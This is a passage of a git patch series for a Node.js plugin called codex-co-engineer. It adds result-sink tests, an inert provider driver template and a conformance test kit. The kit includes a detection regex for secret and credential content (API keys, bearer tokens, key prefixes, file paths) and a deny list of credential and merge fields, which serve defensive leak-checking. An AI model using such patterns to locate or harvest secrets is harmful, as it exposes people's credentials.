assert.deepEqual(Object.keys(terminal.provider_result_sink), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'complete'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'empty'), false); + assert.equal(Object.hasOwn(terminal.provider_result_sink, 'raw_ref'), false); +}); + +test('non-success terminals preserve 3.2.1 result fields and never sink partial text', async () => { + const value = await workerFixture({ + provider: 'cursor-local', + id: 'cursor-p11-partial-fail', + run_id: RUN_ID, + assignment_id: 'lane-beta', + model: CURSOR_MODEL, + }); + const partial = 'PARTIAL TEXT THAT MUST NOT BE COMPLETE'; + const failed = await updateTask(value.root, value.taskId, { + status: 'failed', + result: partial, + result_truncated: false, + error: { code: 'failed', message: 'provider failed' }, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink(value.root, failed, partial, false); + assert.equal(attached.status, 'failed'); + assert.equal(attached.result, partial); + assert.equal(attached.result_truncated, false); + assert.equal(attached.error.code, 'failed'); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_sink_not_published'); + assert.equal(JSON.stringify(attached.provider_result_sink).includes(partial), false); + + const cancelledValue = await workerFixture({ + provider: 'grok', + id: 'grok-p11-partial-cancel', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const cancelled = await updateTask(cancelledValue.root, cancelledValue.taskId, { + status: 'cancelled', + result: partial, + result_truncated: true, + finished_at: new Date().toISOString(), + }); + const cancelledAttached = await attachLocalProviderResultSink( + cancelledValue.root, cancelled, partial, false, + ); + assert.equal(cancelledAttached.status, 'cancelled'); + assert.equal(cancelledAttached.result, partial); + assert.equal(cancelledAttached.result_truncated, true); + assert.equal(cancelledAttached.provider_result_sink.published, false); + assert.equal(cancelledAttached.provider_result_sink.error.code, 'artifact_sink_not_published'); +}); + +test('ACP collector overflow stays inside attach and does not rewrite a completed terminal', async () => { + const value = await workerFixture({ + provider: 'grok', + id: 'grok-p11-overflow', + run_id: RUN_ID, + assignment_id: 'lane-alpha', + model: GROK_MODEL, + }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy bounded result', + result_truncated: true, + result_original_chars: 100, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy bounded result'); + assert.equal(attached.result_truncated, true); + assert.equal(attached.result_original_chars, 100); + assert.equal(attached.provider_result_sink.published, false); + assert.equal(attached.provider_result_sink.error.code, 'artifact_stream_over_cap'); + assert.equal(attached.provider_result_sink.error.path, 'source'); + assert.equal(attached.provider_result_sink.error.message, LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE); + assert.equal(Object.hasOwn(attached.provider_result_sink, 'complete'), false); +}); + +test('legacy ACP overflow without sink identity keeps 3.2.1 result and skips the sink', async () => { + const value = await workerFixture({ id: 'legacy-overflow' }); + const completed = await updateTask(value.root, value.taskId, { + status: 'completed', + result: 'legacy complete without sink', + result_truncated: false, + finished_at: new Date().toISOString(), + }); + const attached = await attachLocalProviderResultSink( + value.root, completed, Buffer.alloc(16, 0x61), false, true, + ); + assert.equal(attached.status, 'completed'); + assert.equal(attached.result, 'legacy complete without sink'); + assert.equal(attached.result_truncated, false); + assert.equal(attached.provider_result_sink, undefined); +}); + test('sanitized oversize fails closed without reporting an artifact', async () => { await withStore(async (store, root) => { const over = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); From 02b46963862a193c36d2e55a350748957a924608 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:35:54 +0000 Subject: [PATCH 33/81] feat(provider): add minimal driver template Add an inert ProviderDriverV1 scaffold that imports the accepted P17 public contract only. Identities are caller-supplied, frozen, and never substituted. Unsupported operations fail closed and no transport is configured. --- .../mcp/v3/future-harness.mjs | 20 + .../mcp/v3/provider-driver-template.mjs | 407 ++++++++++++++++++ 2 files changed, 427 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/future-harness.mjs create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs new file mode 100644 index 0000000..bbb626d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs @@ -0,0 +1,20 @@ +// P22 Future-harness public index. +// +// Re-exports the inert ProviderDriverV1 template/scaffold. This file is not +// a P17 registry, supervisor cutover, or fifth provider. Future harnesses +// import this surface or the template module directly. + +export { + FUTURE_HARNESS_BRANCH_PATTERN, + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + FUTURE_HARNESS_IDENTITY_KEYS, + FUTURE_HARNESS_REQUEST_ID_PATTERN, + FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_VERSION, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from './provider-driver-template.mjs'; diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs new file mode 100644 index 0000000..4f4a3cd --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs @@ -0,0 +1,407 @@ +// Minimal inert ProviderDriverV1 template/scaffold (P22). +// +// Imports the accepted P17 public contract only. This is not a fifth +// provider, transport, credential, process, filesystem, remote, fallback, +// retry, or registry surface. Every identity is caller-supplied, validated +// through P17, frozen, and never substituted. Unsupported operations fail +// closed. Launch never sends a prompt. + +import { types as utilTypes } from 'node:util'; + +import { + capturedCreate, + capturedDefineProperty, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedTest, + isKnownProvider, + isModelId, +} from './grammar.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RUN_ID_PATTERN, + SHA40_PATTERN, + assertAllowedKeys, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const FUTURE_HARNESS_TEMPLATE_SCHEMA_ID = 'codex-co-engineer.future-harness-template.v1'; +export const FUTURE_HARNESS_TEMPLATE_VERSION = 1; + +export const FUTURE_HARNESS_IDENTITY_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'branch', 'lane_index', 'model', 'provider', + 'request_id', 'run_id', 'workspace_semantics', 'workspace_starting_point', +]); + +export const FUTURE_HARNESS_TEMPLATE_OPTION_KEYS = capturedFreeze([ + 'declaration', 'identity', +]); + +export const FUTURE_HARNESS_FAIL_CLOSED_FEATURES = capturedFreeze({ + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', +}); + +export const FUTURE_HARNESS_REQUEST_ID_PATTERN = /^[a-z][a-z0-9._:-]{0,127}$/u; +export const FUTURE_HARNESS_BRANCH_PATTERN = /^[a-z][a-z0-9._/-]{0,127}$/u; + +const REQUEST_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}); + +const RESULT_VALIDATORS = capturedFreeze({ + preflight: validateDriverPreflightResultV1, + launch: validateDriverLaunchResultV1, + reconcile: validateDriverReconcileResultV1, + cancel: validateDriverCancelResultV1, +}); + +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const IS_PROXY = utilTypes.isProxy; +const NUMBER_IS_INTEGER = Number.isInteger; +const OBJECT_FREEZE = Object.freeze; +const TEMPLATE_STORES = new WeakMap(); + +function assertPattern(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +export function validateFutureHarnessIdentityV1(identity) { + const path = 'future_harness.identity'; + if (identity === undefined || identity === null) { + fail('missing_key', path, `${path} is required; identities are never inferred or substituted.`); + } + assertDirectJsonClosure(identity, path); + assertPlainObject(identity, 'invalid_type', path, path); + assertAllowedKeys(identity, FUTURE_HARNESS_IDENTITY_KEYS, path); + for (const key of FUTURE_HARNESS_IDENTITY_KEYS) { + if (!hasOwn(identity, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} must be caller-supplied.`); + } + } + const provider = optOwn(identity, 'provider'); + if (!isKnownProvider(provider)) { + fail('unknown_provider', `${path}.provider`, + `${path}.provider must be a caller-supplied P05 provider slot.`); + } + const model = optOwn(identity, 'model'); + if (!isModelId(model)) { + fail('invalid_exact_model_selection', `${path}.model`, + `${path}.model must be the exact caller-supplied model identifier.`); + } + assertPattern(optOwn(identity, 'run_id'), RUN_ID_PATTERN, `${path}.run_id`, 'run_id'); + assertPattern( + optOwn(identity, 'assignment_id'), ASSIGNMENT_ID_PATTERN, + `${path}.assignment_id`, 'assignment_id', + ); + const laneIndex = optOwn(identity, 'lane_index'); + if (!NUMBER_IS_INTEGER(laneIndex) || laneIndex < 0 || laneIndex > 7) { + fail('invalid_format', `${path}.lane_index`, + `${path}.lane_index must be an integer in 0..=7.`); + } + assertPattern(optOwn(identity, 'request_id'), FUTURE_HARNESS_REQUEST_ID_PATTERN, + `${path}.request_id`, 'request_id'); + assertPattern(optOwn(identity, 'branch'), FUTURE_HARNESS_BRANCH_PATTERN, + `${path}.branch`, 'branch'); + assertPattern(optOwn(identity, 'base_sha'), SHA40_PATTERN, `${path}.base_sha`, 'base_sha'); + return freezeData({ + provider, + model, + run_id: optOwn(identity, 'run_id'), + assignment_id: optOwn(identity, 'assignment_id'), + lane_index: laneIndex, + request_id: optOwn(identity, 'request_id'), + branch: optOwn(identity, 'branch'), + base_sha: optOwn(identity, 'base_sha'), + workspace_semantics: optOwn(identity, 'workspace_semantics'), + workspace_starting_point: optOwn(identity, 'workspace_starting_point'), + }); +} + +function assertIdentityMatchesDeclaration(identity, declaration) { + if (identity.provider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'future_harness.identity.provider', + 'Caller-supplied provider must equal the P17 capability provider slot.'); + } + if (identity.workspace_semantics !== declaration.capability.workspace_semantics + || identity.workspace_starting_point !== declaration.capability.workspace_starting_point) { + fail('capability_workspace_mismatch', 'future_harness.identity.workspace_semantics', + 'Caller-supplied workspace posture must equal the P17 capability workspace posture.'); + } +} + +function assertEnvelopeIdentity(view, identity, operation) { + const envelope = view.envelope; + const path = `driver.${operation}.request`; + if (envelope.execution.provider !== identity.provider) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + 'Proven child provider does not match the frozen caller-supplied identity.'); + } + if (envelope.execution.model !== identity.model) { + fail('invalid_exact_model_selection', `${path}.envelope_text`, + 'Proven child model does not match the frozen caller-supplied identity.'); + } + if (envelope.run_id !== identity.run_id + || envelope.assignment_id !== identity.assignment_id + || envelope.lane_index !== identity.lane_index + || envelope.repository.base_sha !== identity.base_sha) { + fail('stale_identity_denied', path, + 'Proven child run/assignment/lane/base identity does not match the frozen caller-supplied identity.'); + } + if (identity.workspace_starting_point === 'run_base_sha') { + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Local template lanes start at the frozen base_sha and never carry a starting_ref.'); + } + } else if (envelope.starting_ref !== identity.base_sha) { + fail('capability_workspace_mismatch', `${path}.envelope_text`, + 'Pinned starting_ref must equal the frozen caller-supplied base_sha.'); + } +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached a provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach recovers existing provider work and is never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return capturedFreeze({ + detail_code: 'model_unattested', + detail_message: 'The installed driver cannot attest the requested model.', + }); + } + if (operation === 'launch' && disposition === 'not_sent') { + return capturedFreeze({ + detail_code: 'transport_unavailable', + detail_message: 'No provider transport is configured.', + }); + } + return undefined; +} + +function buildResult(operation, view, identity, disposition) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + const detail = detailFor(operation, disposition); + if (detail !== undefined) { + result.detail_code = detail.detail_code; + result.detail_message = detail.detail_message; + } + return result; +} + +function runOperation(store, operation, request) { + const view = REQUEST_VALIDATORS[operation](request); + assertEnvelopeIdentity(view, store.identity, operation); + const state = store.state; + assertTransition(operation, state, view); + let disposition; + if (operation === 'preflight') { + const attested = store.declaration.capability.exact_model_selection === 'exact_and_attested'; + disposition = attested ? 'ready' : 'blocked'; + } else if (operation === 'launch') { + disposition = 'not_sent'; + } else { + fail('unsupported_capability', `driver.${operation}.request`, + `Template operation "${operation}" is inert and fails closed with no provider transport.`); + } + if (!capturedIncludes(DRIVER_DISPOSITIONS[operation], disposition)) { + fail('invalid_format', `driver.${operation}.result.disposition`, + 'Template disposition is outside the closed P17 vocabulary.'); + } + const frozen = RESULT_VALIDATORS[operation]( + buildResult(operation, view, store.identity, disposition), + view.request, + store.declaration, + ); + store.state = disposition; + return frozen; +} + +function installOperation(driver, store, operation) { + capturedDefineProperty(driver, operation, { + value: function futureHarnessTemplateOperation(request) { + return runOperation(store, operation, request); + }, + enumerable: true, + configurable: false, + writable: false, + }); +} + +export function createFutureHarnessDriverTemplateV1(options) { + const path = 'future_harness.template'; + if (options === undefined || options === null) { + fail('missing_key', path, `${path} requires caller-supplied identity and declaration.`); + } + if (options !== null && (typeof options === 'object' || typeof options === 'function') + && IS_PROXY(options)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy; template options must be direct JSON.`); + } + assertDirectJsonClosure(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertAllowedKeys(options, FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, path); + if (!hasOwn(options, 'identity') || !hasOwn(options, 'declaration')) { + fail('missing_key', path, `${path} requires own identity and declaration fields.`); + } + const identity = validateFutureHarnessIdentityV1(optOwn(options, 'identity')); + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + assertIdentityMatchesDeclaration(identity, declaration); + const store = { + identity, + declaration, + state: 'absent', + }; + const driver = capturedCreate(null); + for (const operation of DRIVER_OPERATIONS) { + installOperation(driver, store, operation); + } + OBJECT_FREEZE(driver); + TEMPLATE_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindFutureHarnessDriverTemplateV1(options) { + const driver = createFutureHarnessDriverTemplateV1(options); + const bound = bindProviderDriverV1(driver, TEMPLATE_STORES.get(driver).declaration); + TEMPLATE_STORES.set(bound, TEMPLATE_STORES.get(driver)); + return bound; +} + +export function inspectFutureHarnessTemplateBindingV1(driver) { + const path = 'future_harness.template.binding'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, `${path} is a live or revoked Proxy.`); + } + if (driver === null || typeof driver !== 'object' || capturedIsArray(driver)) { + fail('invalid_type', path, `${path} must be a concrete driver object.`); + } + const store = TEMPLATE_STORES.get(driver); + if (store === undefined) { + fail('stale_identity_denied', path, 'No frozen template binding exists for this driver object.'); + } + return freezeData({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + identity: store.identity, + declaration: store.declaration, + state: store.state, + }); +} + +export function describeFutureHarnessDriverTemplateV1() { + const contract = describeProviderDriverContractV1(); + return capturedFreeze({ + schema: FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + version: FUTURE_HARNESS_TEMPLATE_VERSION, + driver_schema: PROVIDER_DRIVER_SCHEMA_ID, + driver_version: PROVIDER_DRIVER_VERSION, + declaration_schema: DRIVER_DECLARATION_SCHEMA_ID, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + features: DRIVER_FEATURE_VALUES, + fail_closed_features: FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + identity_keys: FUTURE_HARNESS_IDENTITY_KEYS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + live_transport_qualification: false, + inert: true, + contract_schema: contract.schema, + }); +} + +capturedFreeze(validateFutureHarnessIdentityV1); +capturedFreeze(createFutureHarnessDriverTemplateV1); +capturedFreeze(bindFutureHarnessDriverTemplateV1); +capturedFreeze(inspectFutureHarnessTemplateBindingV1); +capturedFreeze(describeFutureHarnessDriverTemplateV1); From a594cd847539c86447f9776fc63e98d7b0688387 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:38:22 +0000 Subject: [PATCH 34/81] test(provider): publish reusable conformance fixtures Add deterministic inert fixtures, a reusable conformance runner, and normal/adversarial/conformance suites for future harnesses. The kit proves P17 lifecycle, fail-closed unsupported operations, and never qualifies a live transport. --- .../mcp/v3/future-harness.mjs | 9 + .../mcp/v3/provider-driver-conformance.mjs | 342 ++++++++++++++++++ .../r1-future-harness-conformance.mjs | 192 ++++++++++ .../r1-future-harness-adversarial.test.mjs | 169 +++++++++ .../r1-future-harness-conformance.test.mjs | 199 ++++++++++ .../test/r1-future-harness.test.mjs | 217 +++++++++++ 6 files changed, 1128 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-future-harness.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs index bbb626d..2dea529 100644 --- a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs +++ b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs @@ -18,3 +18,12 @@ export { inspectFutureHarnessTemplateBindingV1, validateFutureHarnessIdentityV1, } from './provider-driver-template.mjs'; + +export { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + FUTURE_HARNESS_CONFORMANCE_VERSION, + FUTURE_HARNESS_LEAK_PATTERN, + assertFutureHarnessContentFreeV1, + describeFutureHarnessConformanceKitV1, + runFutureHarnessConformanceKitV1, +} from './provider-driver-conformance.mjs'; diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs new file mode 100644 index 0000000..38feaa7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs @@ -0,0 +1,342 @@ +// Reusable ProviderDriverV1 future-harness conformance kit (P22). +// +// Future adapters import this runner with their own driver. It is +// deterministic, inert, and captured-intrinsic: no ambient network, clocks, +// random IDs, credentials, or processes. Passing this kit does not qualify a +// live transport. + +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedIncludes, + capturedTest, +} from './grammar.mjs'; +import { + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_KEYS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from './provider-driver.mjs'; +import { RunContractV1Error } from './run-manifest.mjs'; +import { freezeData, hasOwn } from './selection-json.mjs'; + +export const FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID = 'codex-co-engineer.future-harness-conformance.v1'; +export const FUTURE_HARNESS_CONFORMANCE_VERSION = 1; + +export const FUTURE_HARNESS_LEAK_PATTERN = new RegExp( + [ + 'api[_-]?key', + 'password', + 'passphrase', + 'private[_-]?key', + 'secret', + 'bearer\\s+[a-z0-9._+/-]+=*', + '(?:sk|xai)-[a-z0-9_-]{8,}', + '/home/', + '/opt/', + '/tmp/', + '/var/', + '[a-z]:\\\\', + ].join('|'), + 'iu', +); + +const FOREIGN_LAUNCH_KEYS = capturedFreeze([ + capturedFreeze(['fallback', true, 'replay_or_fallback_denied']), + capturedFreeze(['retry_dispatch', 'now', 'replay_or_fallback_denied']), + capturedFreeze(['allow_merge', true, 'merge_authority_denied']), + capturedFreeze(['create_pr', true, 'merge_authority_denied']), + capturedFreeze(['auto_create_pr', true, 'merge_authority_denied']), + capturedFreeze(['push', true, 'merge_authority_denied']), + capturedFreeze(['resend', true, 'replay_or_fallback_denied']), + capturedFreeze(['credentials', { token: true }, 'credential_content_denied']), +]); + +const IS_PROXY = utilTypes.isProxy; + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +export function assertFutureHarnessContentFreeV1(value, path) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + if (typeof text !== 'string') return; + if (capturedTest(FUTURE_HARNESS_LEAK_PATTERN, text)) { + throw new RunContractV1Error( + 'credential_content_denied', + path, + `${path} leaks secret, credential, or filesystem-path content.`, + ); + } +} + +function hostileRequest(fixture, extraKey, extraValue) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +function assertReceiptIdentity(prefix, receipt, fixture, operation) { + assert.equal(receipt.run_id, fixture.identity.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.identity.assignment_id, + `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.identity.lane_index, + `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.identity.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the proven digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is frozen`); + for (const key of Object.keys(receipt)) { + assert.ok(capturedIncludes(DRIVER_RESULT_KEYS, key), + `${prefix} ${operation} result key "${key}" is outside the closed P17 receipt vocabulary`); + } + assertFutureHarnessContentFreeV1(receipt, `driver.${operation}.result`); +} + +export function runFutureHarnessConformanceKitV1(driver, options = {}) { + const label = options.label ?? 'future-harness'; + const prefix = `[${label}]`; + const declaration = options.declaration; + const fixture = options.fixture; + if (declaration === undefined || fixture === undefined) { + throw new RunContractV1Error( + 'missing_key', + 'future_harness.conformance', + 'Conformance kit requires a P17 declaration and a frozen fixture.', + ); + } + const expectedPreflight = options.expect?.preflight_disposition ?? 'ready'; + const expectedLaunch = options.expect?.launch_disposition ?? 'not_sent'; + if (!capturedIncludes(PREFLIGHT_DISPOSITIONS, expectedPreflight) + || !capturedIncludes(LAUNCH_DISPOSITIONS, expectedLaunch)) { + throw new RunContractV1Error( + 'invalid_format', + 'future_harness.conformance.expect', + 'Expected dispositions must be closed P17 values.', + ); + } + + let checks = 0; + const pass = () => { checks += 1; }; + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} four operations`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} no relaunch`); + assert.deepEqual([...description.transports], [], `${prefix} contract claims no transport`); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} P05 capability schema`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.deepEqual([...summary.operations], [...DRIVER_OPERATIONS], `${prefix} driver surface`); + pass(); + + const validatedDeclaration = validateDriverDeclarationV1(declaration); + assert.equal(validatedDeclaration.capability.provider, fixture.identity.provider, + `${prefix} declaration provider is the frozen caller identity`); + assert.equal(validatedDeclaration.capability.replay_posture, 'never_replay', + `${prefix} replay posture is never_replay`); + assert.equal(validatedDeclaration.capability.merge_authority, 'none_codex_only_integration', + `${prefix} merge authority is Codex-only`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + expectDriverFailure(prefix, 'launch before preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted'); + pass(); + + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, expectedPreflight, `${prefix} preflight disposition`); + assertReceiptIdentity(prefix, preflight, fixture, 'preflight'); + pass(); + + if (expectedPreflight === 'blocked') { + expectDriverFailure(prefix, 'launch after blocked preflight', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'blocked_lane_denied'); + pass(); + return freezeData({ + schema: FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + version: FUTURE_HARNESS_CONFORMANCE_VERSION, + label, + checks, + ok: true, + mode: 'blocked', + operations: capturedFreeze([...DRIVER_OPERATIONS]), + live_transport_qualification: false, + }); + } + + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, expectedLaunch, `${prefix} launch disposition`); + assertReceiptIdentity(prefix, launch, fixture, 'launch'); + if (expectedLaunch === 'not_sent') { + assert.equal(typeof launch.detail_code, 'string', `${prefix} not_sent classifies itself`); + expectDriverFailure(prefix, 'reconcile after not_sent', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched'); + const cancelCode = validatedDeclaration.features.cancellation === 'unsupported' + ? 'unsupported_capability' + : 'not_dispatched'; + expectDriverFailure(prefix, 'cancel after not_sent', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + cancelCode); + } else { + assert.equal(launch.detail_code, undefined, `${prefix} ${expectedLaunch} launch stays bare`); + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assertReceiptIdentity(prefix, observe, fixture, 'reconcile'); + if (validatedDeclaration.features.cancellation === 'unsupported') { + expectDriverFailure(prefix, 'unsupported cancel', + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability'); + } else if (observe.disposition === 'terminal') { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assert.equal(cancel.disposition, 'already_terminal', `${prefix} terminal cancel is absorbed`); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } else { + const cancel = bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)); + assertReceiptIdentity(prefix, cancel, fixture, 'cancel'); + } + if (validatedDeclaration.features.restart === 'unsupported') { + expectDriverFailure(prefix, 'unsupported reattach', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability'); + } + if (validatedDeclaration.features.detailed_events === 'unsupported') { + expectDriverFailure(prefix, 'unsupported detailed events', + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + 